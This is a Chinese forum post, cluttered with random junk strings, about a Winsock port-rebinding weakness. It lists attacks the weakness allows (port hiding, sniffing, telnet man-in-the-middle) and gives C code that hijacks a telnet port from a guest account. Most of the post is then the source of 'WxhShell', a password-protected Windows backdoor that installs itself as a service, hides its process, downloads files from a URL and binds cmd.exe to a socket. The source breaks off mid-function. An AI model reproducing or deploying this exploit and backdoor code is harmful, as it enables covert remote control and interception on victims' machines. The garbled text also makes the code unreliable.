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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )0g!lCfb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M^Tm{`O! [f}`reRlZ saddr.sin_family = AF_INET; 5.D0 1?k Pq@-`sw saddr.sin_addr.s_addr = htonl(INADDR_ANY); sL;;'S& r$Ni>[as bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C|[x],JCS #Nad1C/] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VTY # { 1.TIUH1 这意味着什么?意味着可以进行如下的攻击: &Pc.[k /1$u|Gs
* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7|jy:F,w% cI/}rZ+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b"nkF\P@Fj J _q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p<?lF <N>7.G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 g_Rp}6g A.h0 H]*Ma 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |gHdTb1 rhZp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <4~SFTWY u%Mo.<PI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !6a;/ys m(D-?mhL #include sH'0utD#Y #include O+/{[9s #include
$&1D l #include 3to!C"~\K- DWORD WINAPI ClientThread(LPVOID lpParam); J^S!GG'gb int main() ,X;$-. { ydj*Jy' WORD wVersionRequested; g^7zDU&' DWORD ret; '-Oh$hqCx| WSADATA wsaData; U#Iwe= BOOL val; f(5;Rf( SOCKADDR_IN saddr; esq~Ehr= SOCKADDR_IN scaddr; BOP7@ D int err; IO]tO[P# SOCKET s; Qwve-[ SOCKET sc; j5A>aj int caddsize; (44L8)I.D HANDLE mt; XBB>" DWORD tid; 3Bvz& `\ wVersionRequested = MAKEWORD( 2, 2 ); N eP err = WSAStartup( wVersionRequested, &wsaData ); +XW1,ly~ if ( err != 0 ) { 7G*rxn"d printf("error!WSAStartup failed!\n"); j}`ku9S~ return -1; s@GE(Pu7 } 1ox#hQBoS saddr.sin_family = AF_INET; XsDZ<j%x89 Ts3!mjn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7oc Ng O*!f%} saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~b0l?P*Ff saddr.sin_port = htons(23); 7I@df.rf6J if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {u9n?Z% { hh5h \ZI% printf("error!socket failed!\n"); 7FD,TJs return -1; m,J
IId%O } 5wha _Yet val = TRUE; I+S fZ:q^ //SO_REUSEADDR选项就是可以实现端口重绑定的 !&3"($-U3G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RlbJ4`a
{ EyA(W;r. printf("error!setsockopt failed!\n"); qR_Np5nHF return -1; }Kp$/CYd } 9_.pLLx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %M/L/_d //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <|]i3_Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U2tgBF?)A EwgNd Gcj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cbl>eKw { Om>?"=yD E ret=GetLastError(); [*I7^h% printf("error!bind failed!\n"); DiY74D return -1; %s9*?6 } wZ69W$,p listen(s,2); ,fN <I while(1) ZNpC&
"`G { !!8;ZcL}Z caddsize = sizeof(scaddr); ZX.,<vumSy //接受连接请求 g& f)WQ( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |1/8m/2Af. if(sc!=INVALID_SOCKET) Aq7`A^1t$ { qm'@o -[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9}Za_ZgG
if(mt==NULL) 9`5.0** { A7&/3C6{H printf("Thread Creat Failed!\n"); p!)tA break; "Mv^S'?> } 1vCp<D9< } Xc^(e?L4 CloseHandle(mt); ;`kOFg#`)c } S4_ZG>\VT closesocket(s); +
65<|0 WSACleanup(); zV;NRf)
9. return 0; nD)SR } zf5%|7o DWORD WINAPI ClientThread(LPVOID lpParam) ZCb@!V}= { yd'cLZd<} SOCKET ss = (SOCKET)lpParam; B#.xs>{N SOCKET sc; M?hPlo"_ unsigned char buf[4096]; K`ygW|?gt SOCKADDR_IN saddr; rM6S%rS long num; {{[@ X DWORD val; pU,\ &3N DWORD ret; !=yO72dgLY //如果是隐藏端口应用的话,可以在此处加一些判断 yp@cn(:~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 UfV {m
saddr.sin_family = AF_INET; QwF.c28[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7lJ8<EP9
u saddr.sin_port = htons(23); CDW|cr{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qy=tkCN { kkj@!1q(wO printf("error!socket failed!\n"); Wf%)::G*uR return -1; (Ia:>ocE0 } QfM^J5j.M? val = 100; z&um9rXR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mz;ExV16 { E5c)\
D ret = GetLastError(); k<f0moxs' return -1; e%{7CR'~TD } @T.F/Pjhc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8JW0;H< { zJ ;]z0O ret = GetLastError(); '-G,7!.,r% return -1; \,:7= }
2)n%rvCQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gz8JOl { >s,*=a printf("error!socket connect failed!\n"); Pl#u,Y closesocket(sc); L;b-=mF closesocket(ss); (5[#?_~ return -1; 36.mf_AM } -(}N-yu while(1) W&Xi&[Ux { 3=UufI //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /jq"r-S" //如果是嗅探内容的话,可以再此处进行内容分析和记录 irjHPuhcG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 akHQ&+[j num = recv(ss,buf,4096,0); |L-- j if(num>0) Aqg$q* Y send(sc,buf,num,0); ?9 `T_, else if(num==0) SL^%Zh/~ break; kjQI=:i= num = recv(sc,buf,4096,0); Ml+f3#HP if(num>0) 8-b~p send(ss,buf,num,0); =U:]x'g( else if(num==0) CaoQPb* break; &;GoCU Le } ]Rp<64I o closesocket(ss); v{\~>1J{ closesocket(sc); |Z Cv>8?n return 0 ; /\1Q
:B3W } "e29j'u!* OU mZ| 0{?%"t\/f ========================================================== +OB&PE Q-U,1b 下边附上一个代码,,WXhSHELL L9whgXD ~IQjQz? ========================================================== k<"N^+GSz YsO`1D #include "stdafx.h" Rob:W| W^3'9nYU #include <stdio.h> W$Aypy
#include <string.h> F{}:e QD
#include <windows.h> 5pRVA #include <winsock2.h> 7FP"]\x #include <winsvc.h> ~$Z_#,|i? #include <urlmon.h> [~Z#yEiW^ _tO2PIL@Z #pragma comment (lib, "Ws2_32.lib") r&L1jT. #pragma comment (lib, "urlmon.lib") 0nlh0u8# z:{R4#(Q #define MAX_USER 100 // 最大客户端连接数 :+ "JPF4X #define BUF_SOCK 200 // sock buffer A+3=OBpkW0 #define KEY_BUFF 255 // 输入 buffer O9{A)b!HB h 'is#X 6: #define REBOOT 0 // 重启 ^AUQsRA7PZ #define SHUTDOWN 1 // 关机 #`"B
YFV[E ab 6D & #define DEF_PORT 5000 // 监听端口 Mq6_Q07 `]Vn[^?D #define REG_LEN 16 // 注册表键长度 EkN>5). #define SVC_LEN 80 // NT服务名长度 gJzS,g1] i\MW'b // 从dll定义API W*4!A\K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); er !+QD,EM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CR|>?9V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `R$bx 64 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {Z[kvXf"mZ \l 3M\$oS> // wxhshell配置信息
`k08M) struct WSCFG { RWn#"~ int ws_port; // 监听端口 MpJx>0j/J char ws_passstr[REG_LEN]; // 口令 [@s5v int ws_autoins; // 安装标记, 1=yes 0=no B_.>Q8tK; char ws_regname[REG_LEN]; // 注册表键名 / pR,l5 char ws_svcname[REG_LEN]; // 服务名
'FN3r char ws_svcdisp[SVC_LEN]; // 服务显示名 ZJ_P= char ws_svcdesc[SVC_LEN]; // 服务描述信息 b55G1w char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uRw%`J4H int ws_downexe; // 下载执行标记, 1=yes 0=no nON"+c* char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" jH4Wu`r;m char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i{>YQ Je`
w/Hl/U }; *P[N.5{ }HZ'i;~r|9 // default Wxhshell configuration `P9%[8`C 9 struct WSCFG wscfg={DEF_PORT, ;{cl*EN "xuhuanlingzhe", 'zTa]y]a 1, 6IM:Xj "Wxhshell", #Cz:l|\ i "Wxhshell", VH.}}RS% "WxhShell Service", vYG$>* "Wrsky Windows CmdShell Service", 7jF2m'( "Please Input Your Password: ", 2?owXcbx 1, oga0h' " http://www.wrsky.com/wxhshell.exe", 5wMEp" YHE "Wxhshell.exe" Xc]Q_70O }; Qp>Q-+e0 PFeK;`[ // 消息定义模块 O,KlZf_B char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =TXc- J char *msg_ws_prompt="\n\r? for help\n\r#>"; k8"[)lDc. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; vy F(k3W char *msg_ws_ext="\n\rExit."; UIw6~a3E char *msg_ws_end="\n\rQuit."; eYRm:KC char *msg_ws_boot="\n\rReboot..."; eD 7Rv< char *msg_ws_poff="\n\rShutdown..."; pJwy~ L char *msg_ws_down="\n\rSave to "; GP}+c8|2 *|:]("i char *msg_ws_err="\n\rErr!"; ia/_61% char *msg_ws_ok="\n\rOK!"; {{_,YO^w !GVxQll[f char ExeFile[MAX_PATH]; '
9 int nUser = 0; & |o V\L HANDLE handles[MAX_USER]; <8/lHQ^\) int OsIsNt; w+tO@ H=9\B} SERVICE_STATUS serviceStatus; %bUpVyi!( SERVICE_STATUS_HANDLE hServiceStatusHandle; ZsYT&P2 Tk4"qGC. // 函数声明 V?cUQghHg int Install(void); =p';y& int Uninstall(void); rhvsd2zi int DownloadFile(char *sURL, SOCKET wsh); N
DV_/BI int Boot(int flag); FKB)o7
void HideProc(void); >pA9'KWs] int GetOsVer(void);
/=7[Q int Wxhshell(SOCKET wsl); ^zaN?0%S33 void TalkWithClient(void *cs); "A9 c] int CmdShell(SOCKET sock); cb~m==G int StartFromService(void); n7Ia8?8-l int StartWxhshell(LPSTR lpCmdLine); Z@`HFZJ E^.
=^bR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PK*
$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); b%,`;hy{ -f:uNF]Ls // 数据结构和表定义 YEqWTB|w SERVICE_TABLE_ENTRY DispatchTable[] = Bhrp"l
+| { U9B|u`72 {wscfg.ws_svcname, NTServiceMain}, %G s!oD {NULL, NULL} /=qn1 }; u5FlT3hY. VIxcyp0X // 自我安装 #65Uei|F`+ int Install(void) oMi"X"C:q { ,!4(B1@
char svExeFile[MAX_PATH]; /fc@=CO HKEY key; ,Z I"+v strcpy(svExeFile,ExeFile); "GofQ5,| -gV'z5 // 如果是win9x系统,修改注册表设为自启动 W;C41>^?/ if(!OsIsNt) { ",T-'>h$2R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KmkPq] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ),)]gw71QW RegCloseKey(key); :
LI*#~'Ka if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &6L{1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r 6STc,%5 RegCloseKey(key); +d736lLe% return 0; Sc*O_c3D } fm\IQqIK% } pJ5Sxgv{; } jM90
gPX>, else { U{o0Posg UpS`KgF"v // 如果是NT以上系统,安装为系统服务 ;[@<
, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?J~(qa a; if (schSCManager!=0) 7m=tu?@ { puz~Rfn#* SC_HANDLE schService = CreateService X@)5F 9 ( X}xy
v schSCManager, d1#;>MiU wscfg.ws_svcname, ~8Z0{^ wscfg.ws_svcdisp, :_Y@,CpIEg SERVICE_ALL_ACCESS, GKwm %A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , igsJa1F SERVICE_AUTO_START, X&6p_Lo SERVICE_ERROR_NORMAL, i1?H*:] svExeFile, iVt6rX NULL, $R7n1 NULL, ?8n`4yO0 NULL, nrMm](Y45 NULL, DEL#MD! NULL `2?9eXC ); _*+ 7*vAL if (schService!=0) %@5f+5{i!z { Qe=!'u.nL CloseServiceHandle(schService); `|;R}"R; CloseServiceHandle(schSCManager); ;K0kQ<y-Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W@1Nit-R strcat(svExeFile,wscfg.ws_svcname); ?*a:f"vQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @U(D&_H,K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J]~LmSh RegCloseKey(key); R$=UJ}> return 0; w Maib3Q } tm(.a?p } #!KbqRt CloseServiceHandle(schSCManager); .Kr?vD^nG } %9xz[Ng } 41WnKz9c B`}?rp return 1; QdL
;|3K9 } /PAxPZf_ wz5xJ:T j // 自我卸载 keEyE;O}u int Uninstall(void) 70l" [Y { &CFHH"OsT HKEY key; /v
E >*x B]q
&?~ if(!OsIsNt) { ~&=-* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }N1Z7G RegDeleteValue(key,wscfg.ws_regname); jx&pRjP
RegCloseKey(key); #z) @T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^PfFW RegDeleteValue(key,wscfg.ws_regname); 2;NIUMAMM RegCloseKey(key); v"Fa_+TVx return 0; GmB7@-[QA% } b,8W
| } Pm6/sO } lN)U8 else { 69 R8#M :Q=Jn?Gjb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1GVJ3VXt if (schSCManager!=0) 74rz~ZM
5 { e;R5A6| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jeyy Z= if (schService!=0) /+ vl({vV { 7$+n"Cfm if(DeleteService(schService)!=0) { 'Uew(o CloseServiceHandle(schService); J.mEOo!> CloseServiceHandle(schSCManager); HjV3PFg
return 0; -4o6 OkK< } .OVIQxf CloseServiceHandle(schService); 6|t4\' } BDyOX6 CloseServiceHandle(schSCManager); iVzv/Lqm1 } ~oh=QakW } -@-cG\{ .xuLvNyQr return 1; C ".&m } ZJ@M}-4O1 #[C|%uq // 从指定url下载文件 8l0%:6XbI int DownloadFile(char *sURL, SOCKET wsh) gd-4hR { I|,^a|\ HRESULT hr; 2GA6@-u\ char seps[]= "/"; ^wCjMi(sj char *token; qdrk.~_ char *file; 1Dg\\aUk char myURL[MAX_PATH]; 6+A<_r`#Q char myFILE[MAX_PATH]; 8*I43Jtlf, ?h"+q8& strcpy(myURL,sURL); Xz&Hfs"/J token=strtok(myURL,seps); kehv85 while(token!=NULL) <7/ _Vs)F0 { xWD=",0+ file=token; wj9CL1Gx token=strtok(NULL,seps);
qm&}^S } gYfN?A*`_ v_"p)4&' GetCurrentDirectory(MAX_PATH,myFILE); f@T/^|`mh strcat(myFILE, "\\"); ZFNM>C^ strcat(myFILE, file); 2j`x^ send(wsh,myFILE,strlen(myFILE),0); ]fIv{[A_
send(wsh,"...",3,0); MbC7`Sp&i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #.UooFk+Y if(hr==S_OK) (EGsw o return 0; mnu4XE#| else ;(fD R8 return 1; >XjSVRO NduvfA4 } lwaxj7 RxY
;'NY // 系统电源模块 -mOSB(#bo int Boot(int flag) *+re2O)Eh' { e3UGYwQ HANDLE hToken; q
[Rqy !, TOKEN_PRIVILEGES tkp; c_<m8b{AEF X"YH49? if(OsIsNt) { R:P'QM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wc ]BQn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #"fBF/Q tkp.PrivilegeCount = 1; N%%2!Z# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;ajCnSmR AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'{p/F
$ if(flag==REBOOT) { ;BUJ5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s3kHNDdC return 0; b26#0;i } w d2GKq! else { W'u6F-$2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P%
_cIR return 0; I?LJXo \O } sx IvL7jl } bO>q`%& else { trcG^uV if(flag==REBOOT) { eRc+.m[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t=o0
#jo return 0; lxx)l(& } qk;*$Q else { u+UtvzUC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oa$-o/DhB return 0; {m~.'DU } \7rFfN3 } c[J(H,mt/ 16ahU$@- return 1; ~A2{$C } \B) a57 mIgc)" // win9x进程隐藏模块 +>h}Uz void HideProc(void) {I0b%>r= { +?Vj}p; q&OF?z7H HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u+%Ca,6 if ( hKernel != NULL ) /~[+' { $mOVo'2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4^cDp!8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g"aWt%
P FreeLibrary(hKernel); ^F2OTz4n } $51M'Qu 6t/nM return; P1KXvc}JGe } X- 2 rC a,g3/ // 获取操作系统版本 s\i:;`l:=5 int GetOsVer(void) |&OW_*l { 5SPhdpIg@[ OSVERSIONINFO winfo; =<Q_&_.60 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7Mq4$|qhD GetVersionEx(&winfo);
uyBmGS2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IlQNo 1 return 1; X^;[X~g else U$jw8I'. return 0; D#Qfa!=g } afrU>#+" Bu|Uz0Y // 客户端句柄模块 eD5:0;X2 int Wxhshell(SOCKET wsl) ,p2BB"^_i { #yz5CWu SOCKET wsh; W <.h@Rz+ struct sockaddr_in client; ZI.;7G@| DWORD myID; ZS&>%G ETU.v*HT] while(nUser<MAX_USER) {p3VHd# { /]7FX" int nSize=sizeof(client); CR8a)X4j# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z3jh-{ 0 if(wsh==INVALID_SOCKET) return 1; }*eiG vxuxfi8x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Rp if(handles[nUser]==0) W=b<"z]RE closesocket(wsh); [O~'\Q else s}"5uDfn1F nUser++; T}')QC&wQ } /IQl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bz5",8Mn kkWqP20q return 0; F>N3GPRl } ttQX3rmF01 X^2 04K%: // 关闭 socket ]MI>"hn void CloseIt(SOCKET wsh) X( Q*(_ { fpMnA closesocket(wsh); j5hM|\] nUser--; IX/FKSuq ExitThread(0); nT7{`aaQl } <(|No3jx z3F ^OU // 客户端请求句柄 O<}^`4d void TalkWithClient(void *cs) MYVUOd, { do3 BI4Q "= H.$
+ SOCKET wsh=(SOCKET)cs; [y^)&L$= char pwd[SVC_LEN]; In1VW|4h char cmd[KEY_BUFF]; /D9FjOP char chr[1]; }h+_kRQ int i,j; &5*)r@+ TF\<`}akX while (nUser < MAX_USER) { 79.J`}# 5f54E|vD if(wscfg.ws_passstr) { 8mjP2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iU)-YFO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G5^gwG+ //ZeroMemory(pwd,KEY_BUFF); WZ.d"EE" i=0; 3F%Qq7v while(i<SVC_LEN) { j
s(E-d/ Bjg 21bw^ // 设置超时 tykA69X\W fd_set FdRead; +n1jP<[<N struct timeval TimeOut; ^iaeY
jI FD_ZERO(&FdRead); 0 O{Y
Vk` FD_SET(wsh,&FdRead); !;Mh5*- TimeOut.tv_sec=8; ETu7G5? TimeOut.tv_usec=0; o?G^=0T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +B*8$^,V) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \L#BAB6z uj.~/W1,! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lh=~3 pwd =chr[0]; WY@x2bBi if(chr[0]==0xd || chr[0]==0xa) { a
S-
rng pwd=0; 0Sz&Oguv break; +uPN+CgQ@ } Z_%}pe39B i++; DSwF
} } h6*=Fn7C T[$Sbz` // 如果是非法用户,关闭 socket `1%SXP1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v}6YbY Tq } o3H+.u$ Xco$
yF% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tb-`0^y&X1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'e6W$?z C9-9cdW
H while(1) { UI~ENG B0c} 5V ZeroMemory(cmd,KEY_BUFF); '-#6;_ i< +n(H"I7cU // 自动支持客户端 telnet标准 ,2>:h"^ j=0; b("JgE` while(j<KEY_BUFF) { YYI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p71%-nV cmd[j]=chr[0]; ?o0#h if(chr[0]==0xa || chr[0]==0xd) { dRZor gar cmd[j]=0; XEqg%f break; S(A0), } d9/E^)TT j++;
w'=#7$N } V mQ7M4j* #SY8Zv // 下载文件 X7kJWX if(strstr(cmd,"http://")) { ;>=hQC{f> send(wsh,msg_ws_down,strlen(msg_ws_down),0); XA])<dZ
if(DownloadFile(cmd,wsh)) +DKrX send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Y<ca else ^F*)Jq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T[))ful } 0:G@a&Lr else { @];#4O MW9B
-x switch(cmd[0]) { tYfhKJzGC k?Jzy // 帮助 hvBuQuk) case '?': { 4qda!% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4x'^?0H@ break; 1elx~5v1.= } Coq0Kzhsab // 安装 $2BRi@ case 'i': { 5q]u: if(Install()) {s8''+Q#(- send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'D(Hqdr;: else n#3y2,Ml send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eEsEW<su break; 9szE^kHS9 } nGW
wXySq // 卸载 if5Y!Tx?G case 'r': { 5*buRYck0 if(Uninstall()) oW]&]*>J send(wsh,msg_ws_err,strlen(msg_ws_err),0); [v-?MS else 6@2p@eYo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); af{;4Cr break; !W$3p'8Tu } K=sQ_j.&Z // 显示 wxhshell 所在路径 9r1pdG_C@ case 'p': { E08AZOY&g char svExeFile[MAX_PATH]; Z-4A`@p strcpy(svExeFile,"\n\r"); j~DoMP5Ls strcat(svExeFile,ExeFile); svpWABO send(wsh,svExeFile,strlen(svExeFile),0); ! #
tRl break; ECkfFE` } |0f\>X I // 重启 @7lZ{jV$ case 'b': { jZv8X5i send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s*k"-5 if(Boot(REBOOT)) \g4\a?i send(wsh,msg_ws_err,strlen(msg_ws_err),0); &s/aJgJhp else { ?5mVC]W?] closesocket(wsh); ^Hq}9OyS9 ExitThread(0); kq%`9,XE } N#.IpY'7Ze break; `ss]\46> } NkO$
M // 关机 (f#W:]o/ case 'd': { }Tc)M_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !.t'3~dUf$ if(Boot(SHUTDOWN)) r.ajw&J2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); tDN-I5q else { n;rOH[P closesocket(wsh); uaDU+ywL ExitThread(0); 95]%j\ } Zt!l3(*tt break; .j&jf^a5 } RM<\bZPc // 获取shell wFqz.HoB case 's': { 5 #kvb$97 CmdShell(wsh); oub4/0tN,~ closesocket(wsh); |e< U %v ExitThread(0); ;?:,L break; 8=nm`7(] } :&:>sd(QD // 退出 B!tte) case 'x': { p>}N9v;Bo send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gwqK`ww CloseIt(wsh); +mxYz#reX break; Y#t"..mc' } =kc{ Q@Dk // 离开 t3s}U@(C case 'q': { JnsXEkM) send(wsh,msg_ws_end,strlen(msg_ws_end),0); Og*1pvN< closesocket(wsh); #&8Opo( WSACleanup(); 41uSr 1 exit(1); HdnSs0/ break; #ASu
SQ } 8v6rS-iHP } `UJW:qqW } v'@LuF'e8 |y=gp // 提示信息 cEQa 6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [c W } {
o;0Fx } ih;TQ!c+b x)U; return; *xjIl<`pK } ~Igo
8ykl RI*%\~6t? // shell模块句柄 L"-&B$B: int CmdShell(SOCKET sock) ./g#< { 7r;A
wa STARTUPINFO si; '{u#:TTj ZeroMemory(&si,sizeof(si)); v4.V%tg! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q?;ntzi si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }N|/b"j9 PROCESS_INFORMATION ProcessInfo; e.kt]l char cmdline[]="cmd"; uA,{C%? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6FmgK"t8 return 0; 2bC%P})m } PJ.jgN(r pxC5a i // 自身启动模式 f
0#V^[%Q int StartFromService(void) r 1a{Y8? { j,-7J*A~ typedef struct A3$b_i @P { #3$|PM7,_ DWORD ExitStatus; 0`thND)?O DWORD PebBaseAddress; _
o(h]G1]. DWORD AffinityMask; lyeoSd1AN DWORD BasePriority; Y'~&%|9+T ULONG UniqueProcessId; 24Tw1'mW ULONG InheritedFromUniqueProcessId; 18HHEW{ } PROCESS_BASIC_INFORMATION; u'b_zlW@ +~v(*s C PROCNTQSIP NtQueryInformationProcess; %jf gncW dEp=;b s static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hzH5K static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O:x%!-w iTvCkb48m HANDLE hProcess; n 3]y$wK PROCESS_BASIC_INFORMATION pbi; Ol@ZH_ U
